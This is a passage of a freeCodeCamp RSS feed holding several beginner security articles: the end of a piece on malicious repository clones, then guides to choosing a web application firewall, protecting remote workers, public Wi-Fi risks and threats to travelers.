<li><p>Imagine you are using coding agents, many of them. Will the agents pick-up the malicious clone instead of the original one? How to distinguish the repositories from an automaton's perspective?</p>
</li>
<li><p>The attackers <strong>will</strong> refine their tactics, making the clones more human-like and therefore luring us more easily into their traps.</p>
</li>
</ul>
</li>
<li><p>This is really a situation that makes me wonder about the early days of Google. Back then, the company had to fight huge amounts of spam due to keyword stuffing and manipulative SEO tactics. Will big tech companies have to go through a&nbsp;<a href="https://en.wikipedia.org/wiki/Timeline_of_Google_Search#Full_timeline">Florida update</a>&nbsp;moment to face the rise of AI generated spam ?</p>
</li>
</ul>
<h2 id="heading-more-resources"><strong>More Resources</strong></h2>
<ul>
<li><p><a href="https://www.trendmicro.com/en_be/research/23/j/infection-techniques-across-supply-chains-and-codebases.html">A detailed description of the attack</a></p>
</li>
<li><p><a href="https://www.cisa.gov/sites/default/files/publications/ESF_SECURING_THE_SOFTWARE_SUPPLY_CHAIN_DEVELOPERS.PDF">Complete safety recommendations</a></p>
</li>
</ul>
<p><strong>Stay Informed, Stay Secure!</strong></p>
<p>A <strong>cheat-sheet</strong> is also available on my&nbsp;<a href="https://github.com/hyperphantasia/repo-confusion-guard">GitHub</a>. Feel free to contribute to it!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Choose a Web Application Firewall for Web Security ]]>
                </title>
                <description>
                    <![CDATA[ If you run a website or web app, you’ve probably heard about firewalls. But there’s a special kind just for websites called a Web Application Firewall, or WAF.  Think of it like a bouncer at the door of your site, checking every visitor to make sure ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-choose-a-web-application-firewall-for-web-security/</link>
                <guid isPermaLink="false">685595d957b6666dfb68743f</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ firewall ]]>
                    </category>
                
                    <category>
                        <![CDATA[ web application ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 20 Jun 2025 17:09:45 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750439345651/1a6db323-b71f-4d0c-beb9-07833b838800.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you run a website or web app, you’ve probably heard about firewalls. But there’s a special kind just for websites called a Web Application Firewall, or WAF. </p>
<p>Think of it like a bouncer at the door of your site, checking every visitor to make sure they’re not trying anything shady before letting them through.</p>
<p>While regular firewalls protect your network, a WAF specifically filters traffic that targets your app. It looks for dangerous requests – like someone trying to inject bad code (SQL injection), trick your browser (XSS), or flood your server with fake users (bots). A good WAF stops these threats in real-time, long before they can cause damage.</p>
<p>Now, there are plenty of WAFs out there. Some are cloud-based and easy to plug in. Others give you more control and run on your own servers. </p>
<p>Let’s look at five great options, each offering different strengths depending on what you need. </p>
<h2 id="heading-cloudflare-wafhttpswwwcloudflarecomen-inapplication-servicesproductswaf"><a target="_blank" href="https://www.cloudflare.com/en-in/application-services/products/waf/">Cloudflare WAF</a></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750308481873/cccd4962-dfd7-45cc-8096-c4bb8ab9d7dc.png" alt="Cloudflare WAF" class="image--center mx-auto" width="1999" height="1126" loading="lazy"></p>
<p>Cloudflare has become almost a default for many small to mid-sized websites – and for good reason. Their WAF is fast to deploy and offers solid protection right out of the gate. It’s built into their global content delivery network (CDN), so not only do you get security, but your site loads faster too.</p>
<p>One big plus is that even the free plan gives you some basic protection. You can upgrade for more advanced features, like custom firewall rules, bot mitigation, and protection against zero-day threats (those new exploits that don’t have patches yet).</p>
<p>From e-commerce stores to popular hosting services, Cloudflare makes it really simple. You just point your domain to them, flip a few switches, and you’re protected. There’s not much to configure unless you want to get deep into the rules.</p>
<p>The only downside? If you need very specific filtering or want total control over how things are blocked, you might find it limiting without moving to their higher-tier plans.</p>
<h2 id="heading-imperva-wafhttpswwwimpervacomproductsweb-application-firewall-waf"><a target="_blank" href="https://www.imperva.com/products/web-application-firewall-waf/">Imperva WAF</a></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750310485562/7d52256b-75ee-4a47-8ecf-52b2f44e1b07.png" alt="Imperva WAF" class="image--center mx-auto" width="1863" height="1025" loading="lazy"></p>
<p>If Cloudflare is your plug-and-play option, Imperva is the full-blown enterprise solution. </p>
<p>This WAF is made for organizations that need more than just basic protection. It’s not just looking at requests and saying yes or no – it’s analyzing traffic patterns, understanding what’s normal, and alerting you when something looks off.</p>
<p>Imperva also helps with compliance. So if you’re in a regulated industry like finance, healthcare, or government, it can help you meet data protection rules and audit requirements.</p>
<p>You can use it in the cloud or install it on your own hardware, which is great if your company needs to keep things on-site.</p>
<p>Just know that it’s not as beginner-friendly as Cloudflare. There’s a learning curve, and pricing can get high depending on the features you use.</p>
<p>But if you’re running mission-critical web apps and need deep visibility into traffic and threats, Imperva is a strong contender.</p>
<h2 id="heading-safeline-wafhttpslysafepointcloudmdeggcz"><a target="_blank" href="https://ly.safepoint.cloud/mDEggcZ">SafeLine WAF</a></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750310503191/2de54ca9-0524-441e-9d62-afe6e9f5582e.png" alt="Safeline WAF" class="image--center mx-auto" width="2982" height="1866" loading="lazy"></p>
<p>Now let’s talk about something different – SafeLine. Unlike the big-name cloud platforms, SafeLine is a self-hosted WAF. That means you run it yourself, right alongside your web server.</p>
<p>Built on NGINX, one of the fastest and most popular web servers out there, SafeLine is designed to be lightweight but powerful. It has over 300,000 installations and more than 16,000 stars on <a target="_blank" href="https://github.com/chaitin/SafeLine">GitHub</a>. That’s a pretty big community for a security tool.</p>
<p>What makes it special is how it analyzes web traffic. SafeLine uses something called semantic detection. Instead of just looking for known attack signatures, it tries to understand what each request is trying to do.</p>
<p>That helps it block more threats and reduce false alarms. It can detect things like SQL injection, cross-site scripting, directory traversal, and even bad bots.</p>
<p>It also adds cool tricks like rate limiting, identify authentication, challenge pages for suspicious users, and even dynamic encryption of your site’s HTML and JavaScript to confuse attackers.</p>
<p>Of course, because it’s self-hosted, it’s not for everyone. You need to install it, configure it, and keep it updated yourself. But if you’re comfortable working with Linux or you want full control over your WAF, SafeLine is a fantastic choice – especially since it provides a free edition for personal use.</p>
<h2 id="heading-fortinet-fortiwebhttpswwwfortinetcomproductsweb-application-firewallfortiweb"><a target="_blank" href="https://www.fortinet.com/products/web-application-firewall/fortiweb">Fortinet FortiWeb</a></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750310537875/424385b3-7f3c-4ff0-bc43-a386c679bd77.png" alt="Fortinet WAF" class="image--center mx-auto" width="3000" height="1779" loading="lazy"></p>
<p>Fortinet is a name that’s been around in network security for a long time. Their WAF, FortiWeb, brings that enterprise-level muscle to web apps. </p>
<p>It combines traditional filtering with machine learning to spot weird behavior. So if someone starts sending strange requests your site’s never seen before, FortiWeb can recognize it and shut it down.</p>
<p>What sets FortiWeb apart is its deep integration with the rest of the Fortinet ecosystem. If you’re already using FortiGate firewalls or FortiAnalyzer tools, adding FortiWeb is a natural next step. Everything works together, giving you a full picture of your network and web security.</p>
<p>It’s powerful, but it’s also complex. Setting it up and maintaining it takes time and expertise. And like Imperva, this is a tool that shines in large organizations with experienced security teams.</p>
<p>If that’s your environment – and you want high-end features like API discovery, anomaly detection, and DDoS protection – it’s worth a close look.</p>
<h2 id="heading-f5-advanced-wafhttpswwwf5comproductsbig-ip-servicesadvanced-waf"><a target="_blank" href="https://www.f5.com/products/big-ip-services/advanced-waf">F5 Advanced WAF</a></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750310555919/7f9979fc-d6d1-4d35-8e61-6e4ee7f3fedf.jpeg" alt="F5 Advanced WAF" class="image--center mx-auto" width="1280" height="720" loading="lazy"></p>
<p>Last on our list is F5’s Advanced WAF. This one’s also built for big players. </p>
<p>It’s part of the larger F5 BIG-IP platform, which handles traffic management, load balancing, and more. If you already use BIG-IP, adding the WAF module gives you strong security without needing extra infrastructure.</p>
<p>F5’s WAF offers advanced protection against bots, APIs, and credential stuffing (where attackers try to log in with stolen passwords). One unique feature is its partnership with Shape Security, which gives it extra tools to identify fake users and bot traffic.</p>
<p>You can deploy F5’s WAF in your data center, in the cloud, or at the edge. That flexibility makes it attractive for companies running complex, multi-cloud applications.</p>
<p>But like the other enterprise options here, F5 comes with complexity and cost. If you’re running a big operation and need fine-grained control and integration, it’s a solid choice.</p>
<h2 id="heading-which-one-should-you-choose">Which One Should You Choose?</h2>
<p>There’s no single best WAF for everyone. What works for a solo developer running a WordPress blog might not cut it for a multinational bank. So the best choice comes down to what matters most to you.</p>
<ul>
<li><p>If you want something fast and simple, with a free tier and global speed boosts, Cloudflare is hard to beat.</p>
</li>
<li><p>If your team needs compliance support, traffic analytics, and strong API protection, Imperva fits the bill.</p>
</li>
<li><p>For developers who like to build and tinker, SafeLine offers impressive protection and full control – without breaking the bank.</p>
</li>
<li><p>And for enterprises with existing Fortinet or F5 setups, it makes sense to stay in those ecosystems for seamless integration and the highest level of customization.</p>
</li>
</ul>
<h2 id="heading-summary">Summary</h2>
<p>No matter what you choose, the important part is having a WAF in place. It’s one of the best defenses against the constant stream of attacks targeting websites today. Whether it’s blocking a SQL injection, filtering out bad bots, or just keeping your error logs clean, a good WAF keeps your site running smoothly and safely.</p>
<p>Hope you enjoyed this article. You can <a target="_blank" href="https://manishshivanandhan.com/">learn more about me</a> or <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/">connect with me on LinkedIn</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Protect Your Remote Workforce from Cyber Attacks ]]>
                </title>
                <description>
                    <![CDATA[ Working remotely gives your team flexibility, but it also opens the door to cyber threats. Remote workers are more exposed without the protection of office firewalls and on-site IT teams.  Hackers know that people often use weak passwords, forget to ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/protect-remote-workforce-from-cyber-attacks/</link>
                <guid isPermaLink="false">6842cf8a6fcd9b03c19d04ea</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ remote work ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 06 Jun 2025 11:22:50 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749208531787/897b9afd-128e-4573-a57f-e59e31d23a20.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Working remotely gives your team flexibility, but it also opens the door to cyber threats. Remote workers are more exposed without the protection of office firewalls and on-site IT teams. </p>
<p>Hackers know that people often use weak passwords, forget to update software, or click on the wrong link in a moment of distraction. That’s why remote teams need a security plan built for how they work.</p>
<p>In this article, we’ll explore seven ways to keep your remote workforce safe. These steps are simple, doable, and based on real-life habits.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-turn-on-multi-factor-authentication-mfa">Turn On Multi-Factor Authentication (MFA)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-keep-software-and-devices-updated">Keep Software and Devices Updated</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-lock-down-home-wi-fi-networks">Lock Down Home Wi-Fi Networks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-teach-your-workforce-how-to-spot-phishing">Teach Your Workforce How to Spot Phishing</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-use-vpns-on-public-wi-fi">Use VPNs on Public Wi-Fi</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-use-activity-reporting-tools">Use Activity Reporting Tools</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-limit-access-to-whats-needed">Limit Access to What’s Needed</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-bringing-it-all-together">Bringing It All Together</a></p>
</li>
</ul>
<h2 id="heading-turn-on-multi-factor-authentication-mfa">Turn On Multi-Factor Authentication (MFA)</h2>
<p>Think of <a target="_blank" href="https://aws.amazon.com/what-is/mfa/">MFA</a> as a second lock on your digital front door. Even if someone steals a password, they won’t get far without the second key — like a code sent to your phone or an app confirmation.</p>
<p>Let’s say Maria, a remote designer, uses MFA for her work account. She logs in with her password, and then a code pops up on her phone. Even if a hacker steals her password from a phishing email, they’d still need her phone to get in. Without that, they’re locked out.</p>
<p>Most tools — Google Workspace, Microsoft 365, Slack, Zoom — support MFA. You can usually enable it in the account settings, and once it’s set up, it becomes second nature.</p>
<h2 id="heading-keep-software-and-devices-updated">Keep Software and Devices Updated</h2>
<p>Updates fix security holes. If your software isn’t up to date, it’s like leaving windows open in a storm.  Hackers actively look for devices running older versions of software — they know exactly where the weak spots are.</p>
<p>Encourage your team to enable automatic updates on every device they use. If possible, use remote management tools like <a target="_blank" href="https://www.microsoft.com/en-in/security/business/microsoft-intune">Microsoft Intune</a> or <a target="_blank" href="https://www.jamf.com/">Jamf</a> to push updates directly.</p>
<p>For example, if James delays updating his operating system, his laptop might still have a flaw that lets hackers install malware silently. A quick update could close that door for good.</p>
<h2 id="heading-lock-down-home-wi-fi-networks">Lock Down Home Wi-Fi Networks</h2>
<p>A weak home Wi-Fi password is an open invitation. If a neighbour or a stranger parked outside connects to your Wi-Fi, they might see your traffic, or worse, access your devices.</p>
<p>To secure your home WIFI:</p>
<ol>
<li><p>Change the default router password. Never leave the admin login as “admin/admin” or similar.</p>
</li>
<li><p>Use a strong, unique Wi-Fi password. Aim for at least 12 characters (letters, numbers, symbols).</p>
</li>
<li><p>Enable WPA3 (or WPA2 if WPA3 isn’t available). Look in your router’s wireless security settings. If you see “WPA3 Personal,” pick that. If not, pick “WPA2 Personal” (sometimes listed as WPA2-AES).</p>
</li>
<li><p>Hide your network name (SSID) if possible. This isn’t foolproof, but it makes you a bit less visible.</p>
</li>
</ol>
<p>WPA2 (Wi-Fi Protected Access 2) is the older standard that uses AES encryption to scramble data. It’s far stronger than the old WPA or WEP systems.</p>
<p>WPA3 (Wi-Fi Protected Access 3) is the newer standard. It adds even stronger encryption and makes it harder for hackers to guess passwords. With WPA3, each device’s data is encrypted separately, and it includes built-in protection against “brute-force” attacks (where someone tries many passwords in rapid succession).</p>
<p>When your router is set to use WPA2 or, ideally, WPA3, it means all devices—laptops, phones, tablets—talk to the router using a secure “language” that’s very hard for outsiders to crack.</p>
<p>You can offer a <a target="_blank" href="https://www.pcmag.com/explainers/what-is-wpa3-secure-wifi-how-to-set-it-up-on-your-router">simple guide</a> that walks them through this in under 10 minutes. If someone isn’t tech-savvy, a quick team call can help them set it up. This one-time step makes a big difference.</p>
<h2 id="heading-teach-your-workforce-how-to-spot-phishing">Teach Your Workforce How to Spot Phishing</h2>
<p>The easiest way into a system isn’t through code — it’s through people. A phishing email can look like a password reset, a message from IT, or even a job update. One click, and malware is in.</p>
<p>For example, Tom, a project manager, gets an email that looks like it’s from Dropbox, asking him to log in to view a file. The login page looks real, but it’s fake. He enters his password, and now the attacker has access.</p>
<p>Here are a few steps to spot phishing:</p>
<ol>
<li><p>Check the sender’s email address carefully. Does it match the company domain exactly? Watch for small typos (like “micr0soft.com” instead of “microsoft.com”).</p>
</li>
<li><p>Hover over links without clicking. If the link text says “company-portal.com” but the URL preview shows “evil-site.com/login,” it’s a red flag.</p>
</li>
<li><p>Look for spelling and grammar errors. Official company communications rarely have glaring mistakes. If the message has awkward wording or misspellings, think twice.</p>
</li>
<li><p>Be wary of urgent or threatening language. “Your account will be suspended unless you click now” is a common trick. Legitimate organizations usually give you time to verify and don’t demand immediate action.</p>
</li>
<li><p>Do not download attachments from unknown senders. If an attachment seems odd (e.g., “Invoice_final.7z” instead of a simple PDF), do not open it.</p>
</li>
<li><p>Verify unexpected requests. If someone asks you to share credentials, wire money, or provide sensitive data, call or Slack the person directly to confirm. Don’t rely on the email itself.</p>
</li>
<li><p>Watch for generic greetings. “Dear User” or “Hello Employee” instead of your name can indicate a mass-mailed phishing attempt.</p>
</li>
</ol>
<p>Regular training makes people pause before clicking. Use quick, interactive sessions (there are many free ones online) every few months. Encourage your team to report suspicious emails — create a “Better Safe Than Sorry” culture.</p>
<p><a target="_blank" href="https://phishingquiz.withgoogle.com/">Take this quiz</a> to test your phishing defence. </p>
<h2 id="heading-use-vpns-on-public-wi-fi">Use VPNs on Public Wi-Fi</h2>
<p>Working from coffee shops, airports, or co-working spaces can be risky. Public networks are easy to spy on. A VPN (<a target="_blank" href="https://www.kaspersky.com/resource-center/definitions/what-is-a-vpn">Virtual Private Network</a>) encrypts internet traffic, so even if someone tries to spy, all they’ll see would be scrambled data.</p>
<p>There are many reliable VPN services to choose from, and some companies even set up their own. Encourage remote workers to use a VPN any time they’re not on a trusted network.</p>
<h2 id="heading-use-activity-reporting-tools">Use Activity Reporting Tools</h2>
<p>When people work from different places on different schedules, it’s easy to lose visibility. <a target="_blank" href="https://empmonitor.com/blog/employee-monitoring-software/">Activity reporting</a> tools help you see how systems are used without crossing privacy lines.</p>
<p>These tools can show:</p>
<ul>
<li><p>Login times and IP addresses</p>
</li>
<li><p>File access history</p>
</li>
<li><p>App usage patterns</p>
</li>
</ul>
<p>Imagine a scenario where Rob’s account logs in from a country he’s never been to. That’s a red flag. With activity monitoring in place, you’d catch it instantly and reset his credentials.</p>
<p>Tools like Teramind, ActivTrak, or even built-in reports from Google or Microsoft accounts can help. Used wisely, they improve productivity by giving insights into how time and tools are used — while also flagging suspicious behavior early.</p>
<h2 id="heading-limit-access-to-whats-needed">Limit Access to What’s Needed</h2>
<p>The more people who can access sensitive data, the greater the risk. So don’t give everyone full access, “just in case.” Instead, follow the <a target="_blank" href="https://www.freecodecamp.org/news/principle-of-lease-privilege-meaning-cybersecurity/">principle of least privilege</a>: give each person just the tools and files they need.</p>
<p>For instance, your marketing intern probably doesn’t need access to your financial reports. And your developer doesn’t need HR records. Role-based access keeps things cleaner and safer.</p>
<p>Tools like Okta, Azure Active Directory, or even folder permissions in Google Drive or Dropbox let you fine-tune who sees what. You can also track access logs to spot strange activity.</p>
<h2 id="heading-bringing-it-all-together">Bringing It All Together</h2>
<p>Cybersecurity isn’t about locking everything down so tightly that no one can work. It’s about building smart habits and using the right tools so your remote team can work confidently and safely.</p>
<p>Start small. Maybe pick two or three things to focus on this month. Once they become part of your routine, layer in the next ones. With each step, you’re building a safer and more productive work environment — for everyone.</p>
<hr>
<p>For more articles on cybersecurity, join the <a target="_blank" href="https://newsletter.stealthsecurity.sh/">Stealth Security newsletter.</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Why Public Wi-Fi Is Dangerous – And How to Protect Yourself ]]>
                </title>
                <description>
                    <![CDATA[ Free Wi-Fi feels like a small win when you’re out. Coffee shops, airports, and hotels offer it like candy  –  just tap, connect, and you’re online.  But behind that convenience is a world of risk that most people never see coming. Let’s talk about wh... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/why-public-wi-fi-is-dangerous-and-how-to-protect-yourself/</link>
                <guid isPermaLink="false">683deb300e5fd6529479c483</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 02 Jun 2025 18:19:28 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748888295128/16513129-1937-4ceb-b527-2548044d540b.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Free Wi-Fi feels like a small win when you’re out. Coffee shops, airports, and hotels offer it like candy  –  just tap, connect, and you’re online. </p>
<p>But behind that convenience is a world of risk that most people never see coming.</p>
<p>Let’s talk about what really happens when you hop onto an open network. Then we’ll walk through how you can stay safe, even if you can’t resist the free Wi-Fi sign.</p>
<h2 id="heading-public-wi-fi-is-public-for-a-reason"><strong>Public Wi-Fi is Public for a Reason</strong></h2>
<p>When a network doesn’t ask for a password, it’s like leaving your front door wide open. Anyone can walk in. That includes hackers. </p>
<p>When you’re on public Wi-Fi, you share the same digital space with everyone else nearby. You don’t know them  –  and they don’t need your permission to watch what you do online.</p>
<p>A hacker sitting just a few tables away could be using simple tools like <a target="_blank" href="https://www.freecodecamp.org/news/how-to-use-wireshark-packet-analyzer/">Wireshark</a> to “sniff” the network. These tools scan and capture data sent across Wi-Fi. </p>
<p>That means your login info, email content, and browsing history could all be visible.</p>
<p>You might think, “I’m not doing anything important  –  just checking Instagram or reading the news.” But even harmless browsing can open the door. </p>
<p>Many apps and websites automatically log you in. If a hacker catches one of those logins mid-transit, they can use it to get into your account.</p>
<h2 id="heading-how-hackers-trick-you-on-open-networks"><strong>How Hackers Trick You on Open Networks</strong></h2>
<p>There are a few favourite tricks cybercriminals love on public Wi-Fi. Here’s how they work:</p>
<h3 id="heading-man-in-the-middle-attacks"><strong>Man-in-the-Middle attacks</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748699223874/9a3c8c59-f7f5-4ff3-88b0-a67119b6e3ee.png" alt="Man in the middle attacks" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Imagine you’re talking to a friend, but someone sits between you two, quietly listening and even changing what gets said. That’s what a man-in-the-middle (MitM) attack is. </p>
<p>The hacker intercepts communication between your device and the website or app you’re using. You think you’re chatting privately, but they’re watching everything.</p>
<h3 id="heading-fake-hotspots"><strong>Fake Hotspots</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748699261806/ad52f3ab-be2f-4381-99d8-1c8ba369f554.jpeg" alt="Fake Hotspots" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Have you ever been at an airport, hotel, or café and noticed a Wi-Fi network named something like “Free_Airport_WiFi” or “HotelGuest123”?</p>
<p>It looks official, so you connect without thinking twice. But here’s the catch:  hackers can easily create fake Wi-Fi networks with names that look completely legit. These are known as rogue hotspots.</p>
<p>When you connect to one, all your internet activity runs through the hacker’s system. They can quietly watch everything you do online. </p>
<p>This means they can collect your usernames and passwords as you log in to your accounts, access sensitive files you’re uploading or downloading, and even slip malware onto your device –  all without you knowing. </p>
<p>You think you’re using free, safe internet, but you’re really handing over your data to a cybercriminal.</p>
<h3 id="heading-session-hijacking"><strong>Session Hijacking</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748699305400/634c2068-2a5e-468e-a260-1c274e69dc1c.png" alt="Session Hijacking" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>When you log into a website, like your email or social media account, the site usually gives your browser a small file called a session cookie. This cookie is what keeps you signed in so you don’t have to enter your password every time you click something. </p>
<p>But on a public or unsecured Wi-Fi network, someone nearby could intercept that cookie. If a hacker gets hold of it, they can use it to act as if they’re you.</p>
<p>They don’t need your password –  they just use your session cookie to jump straight into your account. It’s like stealing a taxi ride that you’ve already paid for. </p>
<p>The website thinks it’s still you using the account, so the attacker can snoop around freely, and you might never know it’s happening. </p>
<p>This kind of attack is called session hijacking, and it’s one of the reasons public Wi-Fi can be risky without protection.</p>
<h2 id="heading-simple-habits-that-keep-you-safer"><strong>Simple Habits That Keep You Safer</strong></h2>
<p>You don’t have to stop using public Wi-Fi entirely, but you do need to be smart about it. </p>
<p>Here’s how to protect yourself.</p>
<h3 id="heading-use-a-vpn"><strong>Use a VPN</strong></h3>
<p>A <a target="_blank" href="https://www.ncsc.gov.uk/collection/device-security-guidance/infrastructure/virtual-private-networks">Virtual Private Network</a> (VPN) is your best defense. It creates a private tunnel between your device and the internet. </p>
<p>Even if someone intercepts your data, it’s encrypted – scrambled so they can’t read it. </p>
<p>Good VPNs are easy to use and work quietly in the background. Just tap it on before you connect to public Wi-Fi, and you’re much safer.</p>
<h3 id="heading-stick-to-https-sites"><strong>Stick to HTTPS sites</strong></h3>
<p>When a website starts with “https”, it means the connection is encrypted. Look for the little padlock icon next to the URL. It’s not perfect, but it helps. </p>
<p>Avoid typing passwords or doing any banking on sites that only use “http”. As always, use a <a target="_blank" href="https://nordpass.com/password-manager/">password manager</a> to manage your passwords. </p>
<h3 id="heading-avoid-logging-into-sensitive-accounts"><strong>Avoid Logging into Sensitive Accounts</strong></h3>
<p>When you’re connected to public Wi-Fi, it’s best to avoid logging into anything sensitive – like your bank account, email, or online shopping sites. </p>
<p>Even though many websites use HTTPS to encrypt your data, public networks can still be risky. Hackers can sometimes intercept or manipulate your connection before the encryption kicks in, or exploit weaknesses in the network itself. </p>
<p>So, it’s safer to wait until you’re on a private, trusted connection before accessing anything important. Protecting your personal and financial information is always worth the extra caution.</p>
<h3 id="heading-forget-the-network-afterwards"><strong>Forget the Network Afterwards</strong></h3>
<p>After you finish using a public Wi-Fi hotspot, it’s important to tell your device to “forget” that network. If you don’t, your device might automatically reconnect the next time you’re nearby – without you even realizing it. </p>
<p>This automatic connection could allow hackers to set up a fake hotspot with the same name later. </p>
<p>By forgetting the network, you make sure your device won’t connect unless you choose to do so, keeping your data safer from unwanted access.</p>
<h3 id="heading-turn-off-sharing-features"><strong>Turn Off Sharing Features</strong></h3>
<p>Features like file sharing, AirDrop, and network discovery on laptops and smartphones make it easy to share files and information with nearby devices. But these settings can be dangerous on a public Wi-Fi network. </p>
<p>Hackers can exploit file sharing or AirDrop to gain access to your device or sneak malware inside. </p>
<p>To stay protected, always turn off these sharing options before connecting to any public network. This simple step helps block attackers from accessing your device through open sharing channels.</p>
<h2 id="heading-staying-connected-doesnt-mean-staying-exposed"><strong>Staying Connected Doesn’t Mean Staying Exposed</strong></h2>
<p>We all love the convenience of free Wi-Fi. But it’s not really free if it comes at the cost of your privacy – or your identity.</p>
<p>A few smart habits, like using a VPN and avoiding sensitive logins, can go a long way. </p>
<p>You don’t have to be a cybersecurity expert. Just treat public Wi-Fi the way you’d treat a sketchy alley at night: be aware, and don’t walk in blindly.</p>
<p>Stay safe out there.</p>
<p>Learn how to earn money by building a private community – <a target="_blank" href="https://www.skool.com/signup?ref=a621cf49638346c5a8c019771713a299">Join Skool</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Attackers Target Travelers – and How to Defend Yourself ]]>
                </title>
                <description>
                    <![CDATA[ Traveling is one of life’s greatest joys  –  but it also puts a big target on your back for cybercriminals. Tourists are often rushed, distracted, or unfamiliar with local providers. That’s exactly what hackers count on. From fake Wi-Fi networks to s... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-attackers-target-travelers-and-how-to-defend-yourself/</link>
                <guid isPermaLink="false">68372f981dca8ddfbed5d732</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Wed, 28 May 2025 15:45:28 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748447045778/2e335ffb-b831-4eb3-8683-9a81152154c7.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Traveling is one of life’s greatest joys  –  but it also puts a big target on your back for cybercriminals.</p>
<p>Tourists are often rushed, distracted, or unfamiliar with local providers. That’s exactly what hackers count on.</p>
<p>From fake Wi-Fi networks to shady SIM card scams, here are five of the most common digital threats you might face while abroad  – and what you can do to protect yourself.</p>
<h2 id="heading-fake-wi-fi-networks"><strong>Fake Wi-Fi Networks</strong></h2>
<p>You’re at a busy train station or cozy café and spot a Wi-Fi network named something like “Free_Public_WiFi.” You connect without a second thought. </p>
<p>The problem? It might not be real.</p>
<p>Hackers set up rogue hotspots with legit-sounding names to trick travelers into connecting. </p>
<p>Once you’re on, they can monitor your traffic and steal login details, messages, or even credit card numbers. This is called a “<a target="_blank" href="https://www.techtarget.com/iotagenda/definition/man-in-the-middle-attack-MitM">man-in-the-middle</a>” attack, and it’s surprisingly easy to pull off in public places.</p>
<p>Here’s how to stay safe:</p>
<ul>
<li><p>Avoid using public Wi-Fi for anything sensitive  – especially online banking or shopping.</p>
</li>
<li><p>Always disable automatic connections to open networks in your device settings.</p>
</li>
<li><p>Use a VPN to encrypt your internet traffic. It adds a layer of security that makes it harder for hackers to snoop.</p>
</li>
</ul>
<p>Public Wi-Fi may be convenient, but it comes with serious risks. By being cautious, turning off auto-connect, and using a VPN, you can protect yourself and stay safe while staying connected.</p>
<h2 id="heading-phony-booking-and-visa-websites"><strong>Phony Booking and Visa Websites</strong></h2>
<p>Planning your trip online is easy  –  sometimes too easy. </p>
<p>Scammers have become incredibly good at creating <a target="_blank" href="https://www.yahoo.com/news/watch-fake-hotel-booking-sites-122912758.html">fake booking sites</a> that look just like the real thing. You think you’re reserving a hotel room or applying for a visa, but you’re actually handing over your credit card and passport info to a fraudster.</p>
<p>One common trick is to slightly alter a well-known domain, like changing “expedia.com” to “expeida.com.” These sites often offer deals that seem too good to be true. Spoiler alert: they are!</p>
<p>Here’s what to do:</p>
<ul>
<li><p>Always type website addresses directly into your browser instead of clicking on links from emails or ads.</p>
</li>
<li><p>Stick to well-known platforms or go directly to the airline's or hotel’s official website.</p>
</li>
<li><p>Look closely at the URL –  check for spelling errors and make sure it begins with “https://”.</p>
</li>
<li><p>If applying for a visa, find the government’s official site through a trusted search engine or travel advisory page.</p>
</li>
</ul>
<p>These scams aren’t just inconvenient  –  they can cost you hundreds and delay your trip.</p>
<h2 id="heading-sim-card-swaps-and-shady-vendors"><strong>SIM Card Swaps and Shady Vendors</strong></h2>
